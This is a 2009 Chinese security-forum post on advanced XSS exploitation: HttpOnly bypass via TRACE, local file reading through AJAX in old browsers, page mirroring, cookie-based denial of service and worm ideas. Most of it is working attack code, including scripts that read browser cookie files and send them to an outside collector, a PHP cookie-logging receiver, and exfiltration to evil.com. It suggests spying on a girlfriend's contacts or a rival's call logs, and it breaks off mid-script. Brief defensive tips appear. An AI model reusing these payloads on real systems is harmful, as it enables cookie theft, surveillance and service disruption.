XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
# L7 ~4 t4 m. I! k1 R! J
- k: @. S  d$ m+ l7 g: s5 t- GXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
& j3 [" I! y$ E) v. `- Shttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
8 k% @  ?+ g! @" p- D

: V4 W$ s$ E% t! E2 ^& z
- e5 n) L/ g( I! ]2 ?1 V1 u-------------------------------------------前言---------------------------------------------------------
- l/ ]$ F+ T! v" ]8 O

+ G* B) }" Z1 }本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
( A8 k* U' E0 S4 Z

如果你还未具备基础XSS知识,以下几个文章建议拜读:
" @2 }6 o- i1 D* b; |3 Khttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
5 a$ K3 X3 U, d6 E: `2 n. I0 k7 Dhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
' Z1 ?' e; L  W! x8 ahttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



- k( c4 d& J1 V* d
" O' r4 M! t, s2 A如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
( B3 P- B+ h& @# v
" z4 u' U1 R/ a如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
$ A" s6 w2 g  I0 c3 p) v
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

, ~: |3 j' `) t: N" BQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

: O: q5 m1 P6 F  P, F# L; h0 A5 {( M/ C..........
* B$ s% E# J0 n9 [8 Y  ]* p$ H, G复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
3 A. V9 S) Q+ Z4 W
0 s' b* u- ?! l

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; U5 ?! V+ |# j
. ^. S$ [8 T% J2 [
, j! M0 E) g( C4 R9 Q
" d! }4 L7 `" U$ F& W# G如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
" e8 G( a5 y8 H; |" C5 r& k
1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
0 j0 {0 F& ?( `
4        XSS漏洞在输出和输入两个方面怎么才能避免.


% ]; g4 O" V3 d2 _7 F  D1 {% Z6 s
! c& }$ r, e& t------------------------------------------研究正题----------------------------------------------------------
5 k1 V1 A6 H; S' L; ~# U


3 ]) x* J  t4 Y$ q: @5 R0 n9 u通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) K  C3 b9 V7 w: }复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
, L$ u" p  Q& T1 K( }* g  X+ K* ^% ^2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
# m; g% r3 @1 V3 `


% `& i" W: G% Z5 P

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
. C1 d/ ^4 [: C% O/ m


9 P/ O. V  ^. P4 L8 g' `    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3 l+ I7 q) x' w# a  ^


    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
2 c+ }( H7 L5 S  j4 K% y* \, I" E


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
; ]0 H: u. u' O复制代码IE6使用ajax读取本地文件    <script>
; t: O/ I/ o( s
# s( w3 s6 d4 }% x1 [9 t    function $(x){return document.getElementById(x)}

5 h+ W# f# |7 H, J

8 t, p- G" J3 [$ y* t1 j9 U    function ajax_obj(){
) ~& q) n+ @/ A3 S
    var request = false;
; w  o& i5 d& G5 T. i& N! [
    if(window.XMLHttpRequest) {

+ M+ N5 d( p4 |5 j3 M- z! Z5 ^# N    request = new XMLHttpRequest();

9 A. Q! K1 r- Z    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

( ~( s& k% X$ L8 f# V  N% E1 H, m. o    for(var i=0; i<versions.length; i++) {
7 E" G. w/ F& i. W1 W' a
3 d0 c/ {+ Q" b/ l. o    try {

    request = new ActiveXObject(versions);
4 g. `; Y4 o0 M$ Q' y8 S
    } catch(e) {}

' B0 p% q; K& c& A+ [1 D    }
5 p2 V, Z4 U9 K$ T. J+ i
    }
+ F6 t8 ~0 R) v
    return request;

    }
& @4 ^2 Q, G2 p4 D  y% N
, G, V; L9 C- H6 v    var _x = ajax_obj();

2 a/ T: U) A1 L1 p    function _7or3(_m,action,argv){

6 }# v1 _: M6 w& ~# k    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

" u) U2 j% |4 V1 |% E' Y5 s    _x.send(argv);
7 z  D1 H, c4 O/ b2 m; l1 B2 N# p
, C- v6 z6 b' d( ]9 ^' f: V0 [    return _x.responseText;
4 s/ C) o/ H! |2 N# C9 P# a
9 C! b- L7 z; |+ K    }


( {9 X7 x' k# U* {" F3 N+ c
0 t$ F( Z) B- I/ Z    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
2 A. t+ z+ J; o2 |5 }7 z0 O
    alert(txt);
; [' i! E1 _1 k* u- M; S- w% A1 A4 G/ m* ?5 N
9 b0 S# u& O$ ^& w. q

    </script>
9 o/ e6 B% k2 K* x  |- J8 @复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

1 |7 }) t9 h7 M) s    function $(x){return document.getElementById(x)}

3 V% ]6 l* r9 h" K$ k) x
- H6 q4 F( `' @- M1 r/ w  x
0 `: _) t; W) g* m    function ajax_obj(){

" g3 t% {& ]# x( b: R  O( x    var request = false;

    if(window.XMLHttpRequest) {
2 O/ p# _& q! J1 f2 X7 c: p
    request = new XMLHttpRequest();
9 X* m; P/ g% V. Z
    } else if(window.ActiveXObject) {
3 g0 L# a: o. @' W2 o: b
' }. D, S& }0 b2 P6 Q. G    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
- J& j: A: N2 @- E6 |4 L& S


8 i( F! ?' g" q2 J- @! A% b  R    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) W. e& G% a- x
    for(var i=0; i<versions.length; i++) {

  e0 J* M: f  Y* e7 C+ t, b    try {
' w- u# `, ]/ D9 X3 |/ N
    request = new ActiveXObject(versions);

' w5 D# M) _3 _/ Q. F    } catch(e) {}
8 ~, g# L- X( n) A6 b, [
    }

    }
4 f' d% Q0 L. Y
    return request;
1 f; a, B! `( D
6 C0 `- t( x) _, M9 y2 x% |    }

    var _x = ajax_obj();
/ I" h, H: F. F0 V/ a' s
    function _7or3(_m,action,argv){
7 ~3 _0 q6 l% v, Y3 ~
    _x.open(_m,action,false);
) q* B8 i: s4 W, S
6 b( s' @" S3 }& D' p1 _" a4 r    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

6 x  A+ _) z; o4 p) x! q' d+ h    return _x.responseText;

9 ~3 j4 [# L7 t2 q" e! I    }

. i* _% D: W9 H2 K# ^

    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
4 T: r) c1 [3 W; {
$ x5 T0 v5 F6 R4 r% D
9 ~+ H% Z0 r' }+ N: R: l
    </script>
% x4 X4 z) R. r7 i# j复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
0 `4 @% [" t' c6 T  R$ }9 i1 C


3 B, I# H0 L9 ~: W1 e<?   

/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
/ J4 E' w2 d, N  m) Z/ J
     www.inbreak.net   

! X8 j8 y% v( x     author voidloafer@gmail.com 2009-4-22   
  u& w+ V# M% U& @1 U: T
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
; Q3 N" w/ d# ~% c/ q) ?' g/ [; j
% l) P7 i, b8 B/ hheader("Content-Disposition: attachment;filename=kxlzx.htm");   

8 Y( `; R& e" y  C8 Sheader("Content-type: application/kxlzx");   
0 m: V" o' v  f& r% P7 ]
/*  

! P& }) C/ |* z$ R0 y$ m) R1 Z     set header, so just download html file,and open it at local.  

*/  
8 ?6 O4 x. Q" v/ D: w
?>   
3 r) @  T8 D+ [/ r# g
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
( n0 E1 P; s$ m8 D2 m5 o! }# H
     <input id="input" name="cookie" value="" type="hidden">   
3 K2 U5 {2 V! R, _! F. ^
+ ]5 b9 a0 C1 H5 B. q% l6 o</form>   
7 s) g5 v1 f5 r/ ?" E  k* c$ A
) |3 h/ Q. I+ s. z! b# D$ g<script>   
4 I# t( S) r' h* Y; A7 s/ Z3 q
function doMyAjax(user)   

{   

# t/ U, S* P9 i, g. Vvar time = Math.random();   

0 q9 q$ f* f  y2 }8 Z4 i. Z/*  
& ~7 }/ W" F: q& L$ S, E4 i! k
; C5 M- d: o' z  S5 x2 Dthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

5 o5 M' P+ P; Q6 gand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
/ h" C0 t1 K1 Y  a4 E
and so on...  

) }( ]' `0 K8 u*/  
1 s; X: O' y' j7 O* q. N
3 d8 ?. }. z6 ]var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
: q  {/ r4 R. k' ~) G9 Y& i! [
7 p. S$ U, v7 ~4 R8 O3 R   
" _( T3 N3 `) Z5 R$ J1 S4 j
startRequest(strPer);   


+ d3 |) D) i" n1 [
}   

" N% p& u+ _4 N1 q( v6 w: S8 B   
; Q* v* Z3 u# g: K! z7 A, Y# f
function Enshellcode(txt)   

{   

' o! q; ?( H* [+ {" ^var url=new String(txt);   

% S/ H( J; Y+ K, K  s# E5 m; Fvar i=0,l=0,k=0,curl="";   

6 ?6 ]) B/ ^, Z  w7 Q7 [; Ml= url.length;   

for(;i<l;i++){   

4 L/ W" I  r$ jk=url.charCodeAt(i);   
' X6 t9 X1 O% W, n
  J8 d+ D, m8 Q' P9 \" kif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

7 T+ y1 g2 i( w3 p  Y, g. ncurl=curl.replace(/(..)(..)/g,"%u$2$1");   

* |. c( e, g. R% l; u' qreturn curl;   

, L# i5 J1 g9 J+ C  M) w}   
: p$ s4 A' ^2 f1 f/ W
   

   
* B7 w8 U4 \: w+ j, i6 p6 D
; L7 y! t5 ^8 I1 k5 ?var xmlHttp;   

function createXMLHttp(){   
* k' _% [) Z! r) D% ~# e
     if(window.XMLHttpRequest){   

9 I7 X2 [+ ~) y( \3 W0 {1 ~2 Q& xxmlHttp = new XMLHttpRequest();           
4 j$ c5 V/ h. A
! ~& ]5 M- I2 I( U     }   

6 k9 X8 o9 Z( w3 f     else if(window.ActiveXObject){   
' f8 I' p9 g7 K  P
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
3 Z& q! T% }3 j% r* C
# R4 `9 ~! p- V3 X  b" F1 `     }   
3 D7 a. g( B9 X
2 E* R  F1 O: U- Q$ L* _1 x}   
+ N+ {$ Q3 ^9 o. {5 \5 h* ~0 P/ [
   
! \3 u7 o. l% @- }( D4 z3 k2 ]
function startRequest(doUrl){   

   
5 B: R: \* Z* v2 r! b; L7 @; d
2 e/ p2 E" e8 a; G7 Q     createXMLHttp();   
3 O  R6 G+ j2 ~% ^, d1 u
8 M4 u; I: \& X0 W; H) _1 X
. q3 Y  U1 L& r4 `7 _
     xmlHttp.onreadystatechange = handleStateChange;   

3 _4 o1 |7 O& C
: `; V5 N* H' J0 ~- C; A
     xmlHttp.open("GET", doUrl, true);   
5 E- k5 Z6 l2 U' {" H
; A0 b+ |! f' |# T2 t0 T
0 e# |; t# m- w8 S1 S( b
7 r% T3 T) V( E* w' C; _     xmlHttp.send(null);   





/ K9 F1 l) E; B, _8 _4 r1 H4 y! h}   
, k( [+ x- I- B6 q
   

function handleStateChange(){   

. y7 T5 }1 A' w     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
- h5 H" q- B) ^1 V
. W/ p3 z2 P8 Q* O' A; B$ Y     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

$ o0 V% k0 k! E) n( |/ G1 s/ e        

! s* T+ v: C: x" T: ~. a7 m& t0 K     }   
" d' M1 {$ v3 |" M' T  V
; ~* @( b6 Y+ S) ^4 _}   
, O# R9 j. X/ h! `7 y0 h" o9 Q6 r
4 H, S# P, x, U  u# a   

/ v6 ~, H; ?4 _7 D4 E9 a   
9 s& L& b) L5 X) d% i# d! L
2 Y$ `$ u7 i0 o0 L6 O9 Z) E4 @function framekxlzxPost(text)   
" _0 Q- S8 `# `/ R
2 ?; H6 v9 j% e{   
" J: [% y* F; w  o! f5 _' _
     document.getElementById("input").value = Enshellcode(text);   
) N: G; p7 W% @& V0 r
     document.getElementById("form").submit();   
! M0 ^$ l# ?! i* ^' F1 ]6 `
( |0 D6 U& q; o* W/ V4 V5 N( ^}   

   
. v/ I; H3 J1 M3 H0 V, d
. F7 J5 F" r. R& H4 gdoMyAjax("administrator");   

   

0 O- R9 {% [2 S/ |</script>
, {: g8 _6 I& i- K# U复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
+ ]4 z1 m$ ]3 b: g1 x2 l1 \
function createXMLHttp(){  

     if(window.XMLHttpRequest){  
2 x. I! U) E+ @( u& g
         xmlHttp = new XMLHttpRequest();         
6 E$ ~( o4 E  ?5 U5 \5 k$ _
     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

) Q* c$ s: v7 n. @     }  

}  
! g' z8 I6 ~; Y) m
   

5 B) m( C6 S- Xfunction startRequest(doUrl){  

           

     createXMLHttp();  
- I& n/ y3 V8 v3 S3 }0 I8 o
      

     xmlHttp.onreadystatechange = handleStateChange;  
* ]* |$ E; R* s# C8 I% F+ ~- g9 W# t+ O
/ z! O9 Q* }- d1 `. \6 w      
% E1 ^& ?' D+ P8 F' d! f
2 }8 F' A* P+ V7 z     xmlHttp.open("GET", doUrl, true);  

+ R$ S4 x4 Y+ P) t8 Y" G6 J      
2 w1 L% T; G+ F" t8 X* ^
     xmlHttp.send(null);  
: S4 G( H+ s1 c/ D$ \
; N$ l# p; `# d6 ~2 D& u# m$ F      
" Q1 c2 I2 [: l6 t8 I0 ~
- d4 k0 a7 J) I2 m" ^. D      

}   

   

5 M9 H' ?+ N- efunction handleStateChange(){  
( f+ j/ L3 U, D- D& {, C
4 X0 Y' }# c# U- ^. F     if (xmlHttp.readyState == 4 ){  
% i1 l! B8 X0 u: H" G8 Q
" j" L# c3 U; g# i2 B8 w5 v; N3 T             var strResponse = "";  
' A  }2 W) o' V! @
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
0 S2 N% r* _0 u2 T2 T9 K* o* \
+ S1 ~2 w" v3 x7 K; e               

' I4 D( j2 U: [' L! A     }  

9 G( ~1 Q+ N; M3 F( m; J1 {# Y0 P3 l}  
9 P) y, U; ?3 [. l) [" ~
: K/ C& D6 M) [   
* _- N% j' y3 o0 m. ?
function doMyAjax(user,file)  

{  
' U) [; k2 r# |0 k( }
         var time = Math.random();  

$ h( l. B6 ~6 N( L0 r  E           

2 p! J& s1 f' |9 M( {         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
; S9 F$ u; e7 t: U
! y* g* f* K- j+ m8 X0 T7 y         startRequest(strPer);  

      

1 O( A4 E, T* a# q5 P}  
. O  z$ j. U3 J- I3 z* v
  E. N: h/ U8 T+ J5 }) M   

function framekxlzxPost(text)  
6 z6 F& N2 T4 ~9 L" O0 S
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

' ~) K1 `8 T9 K& u}  
5 F* |5 I7 x; E4 @; s: b
: O7 L; V' V! g% z% k+ z+ y   
/ f# r8 K( \0 N5 W$ P
6 r; S; ^4 w. G( |5 gdoMyAjax('administrator','administrator@alibaba[1].txt');  
6 V1 x! }2 ^  R0 Q% H' \, i# I. G
0 S8 ]7 h8 P- P4 B   
8 s  ~4 r& ?, }8 e5 ]6 o$ X
/ i# L& Z9 {  r3 ~, r</script>

0 W( S! L$ R! ]8 q: j2 e

! W" L' s" z7 W# \# y0 R

$ J4 p3 K  u3 R% qa.php
: j4 c- d5 s6 R% c( s4 t. T. c
5 a0 M9 X$ T4 ~8 }

<?php      
1 X( W6 \  V8 ?  {
7 r7 R- r1 p2 h$ W7 @: B7 ^$ D   

/ J, X4 w1 P/ ^9 p$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
* u+ s. ?( m7 l+ {2 X
0 N! W# s" V0 @: Y$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
1 c$ l, D- G0 d. L2 q
  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
7 `: e- l. Q$ K
$ }, Q) q$ I& y* bfwrite($fp,$_GET["cookie"]);      

! t+ t1 f9 h' [fclose($fp);   
0 ]8 ?  |- g9 d2 ?
; E) O' {' d) @?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
1 W% m/ ?; x  }. S$ @# E
& ], m" a( ^  E" J7 j或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
) `: Q; k9 I8 G8 D3 M: Y利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

9 o) G: S* i' ~/ _' d( t4 x代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
* h5 K1 L9 {. c5 u7 _% P
: m! v; K$ }% d9 o//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
6 _( l& ^! u& K$ n% k
0 h% b0 \$ f# |# p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
: `0 h1 v9 a' i2 w$ R
; u# `- w3 Z1 Q; Xvar image = new Image();
) x; g6 Q0 o3 F" F
9 V  P6 V" X6 U5 f! \image.style.width = 0;
9 y7 i5 w+ V8 {7 c, n+ f! w/ K) z+ Z
3 x. v; ?3 A% J$ ~: Yimage.style.height = 0;

image.src = s;
: O2 P2 b; A, v) Z! ^2 c. w
! |* `6 F8 K  t% u3 s) |" Q. ~9 s}

2 R0 J1 x. t+ e# Q& |- b, KgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
& u) J2 ~7 C  g6 t复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

# X. H5 P8 c0 H4 j& Owhile (str.length < 4000){
  f+ z& F% u! ?
    str += metastr;

}

, g# N% C3 U, J9 L$ ^* R& T2 v+ L$ o
5 [6 m: |4 F' t$ `
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

, E: `, z9 o2 I( \" ]- k</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

7 T  l8 i" ?7 R9 C  v6 d! U假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
# \7 l. p: v; _

% S+ Z# W4 i1 o% K( X


4 a% X4 a( \9 F2 j
6 G! k9 s( H8 y) `2 T; n7 H(III) Http only bypass 与 补救对策:
' W% ~4 Y! _- m% `7 j! t# B
# e4 g3 z- u1 C; p- E什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
- r3 p$ d% E0 X3 _2 x4 V以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

$ ~. u+ x# I% Q, P" }<!--

function normalCookie() {
( D  w( U4 w) [) {+ _& I( \
document.cookie = "TheCookieName=CookieValue_httpOnly";
( p6 P2 _; A0 x' `5 s+ ?
% g1 n/ p7 J+ Valert(document.cookie);
! C/ {9 x+ @- N. Z# _% T
}
$ q) S* o  V5 {8 t- V2 D- x7 k

& ]8 ^2 y# D7 _6 n
+ ?5 R. c0 _: K& }' A$ q+ D
$ g; v# m! B+ D) v
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
0 C- c! u& u2 O+ V
/ ?. J" T# Y/ k" g: Y2 J+ Aalert(document.cookie);}


6 h% d+ \4 S/ p& j% ?
//-->
0 S# m8 r0 l( K
3 P( F5 @# \- S</script>

: K' ]5 [4 d# t

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
9 I9 s5 e; |; i; a. m复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


) f0 O3 v* c0 ^; ?" S- k0 O
var request = false;

        if(window.XMLHttpRequest) {
2 }( f( G* W1 i2 D$ f4 I# F) L
            request = new XMLHttpRequest();
3 p7 D; ~( o& ~+ p
            if(request.overrideMimeType) {
, ~) |6 u4 ^4 R$ D! j
                request.overrideMimeType('text/xml');

            }
5 k% `5 r- ?6 G
        } else if(window.ActiveXObject) {
& X5 N* b+ u# L# @
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- i3 y2 `" R2 p( {4 C            for(var i=0; i<versions.length; i++) {
  |# ^' B3 y7 j% E
, E5 y8 B; P/ ?' Z1 T& }& H4 Z                try {
( y. g% M, a1 X+ b
                    request = new ActiveXObject(versions);
6 v8 l, i  S* k4 o0 n
7 b- F6 `& X) q7 R7 l2 H                } catch(e) {}

            }
6 v0 a- A7 V- D# V$ x3 k
        }

0 l8 B3 \7 ]' XxmlHttp=request;

+ J* I  U# U- V. B  ixmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
) g* l: Z% e2 [& s8 B  c$ H" y, @
alert(xmlDoc);
, @) b6 [( W$ W* p4 o1 h
</script>
& S% i# f9 ~4 q( m4 |- O复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

6 Q5 _# k. ^& N5 S9 {var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 x3 a2 w- S1 K- s2 J* d- u/ r
XmlHttp.open("GET","http://www.google.com",false);

8 s. K/ o. I* X8 o0 S  L) cXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

0 ]1 `) z/ m7 F3 @/ y/ C8 p( PXmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);
, e# V' M! K  A; r" D! w
......................
. C$ x1 x8 |% O$ W3 J' @
. S- K- y$ r$ U  G" o& \6 M</script>
! m: K1 Q3 N1 x2 t, I

2 }) r  b; J% }: j' ?

, T$ x+ f2 \& h8 e- F
& ~) s; ?  v3 K# p% q: V如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
& [) }+ j/ @, H' g/ T- b9 [
[code]

' k6 q# R8 O4 m% \& L! r6 \RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
* I: ^$ N  D$ W& r
RewriteRule .* - [F]

; X0 |+ }# B9 z- ~( p& w

5 h/ Y1 j4 z' M7 S6 U0 n5 _/ U- VSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

# ?' Y+ O. U; C+ Macl TRACE method TRACE

...
* J7 i' ^1 X1 p4 L0 Q" Q1 n4 Q( E
  O  c/ ^1 O  @9 F2 Fhttp_access deny TRACE
2 K2 ?1 E5 E4 U* V( ^6 c$ v复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
1 D  ]4 T; P! x! ?' c) X
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

& j8 C$ U7 f2 }1 X- kXmlHttp.open("GET","http://www.google.com",false);

7 H4 \+ R$ u- i" F! G& v0 }XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
. B0 `, {( K/ ]  K5 J- ^
XmlHttp.send(null);
+ q0 l) P, r# B' [. r2 D' m
+ a) T9 Y3 z0 L) n9 v</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

" A  N4 d, L7 Q  I9 b: w8 l, Q% Zvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
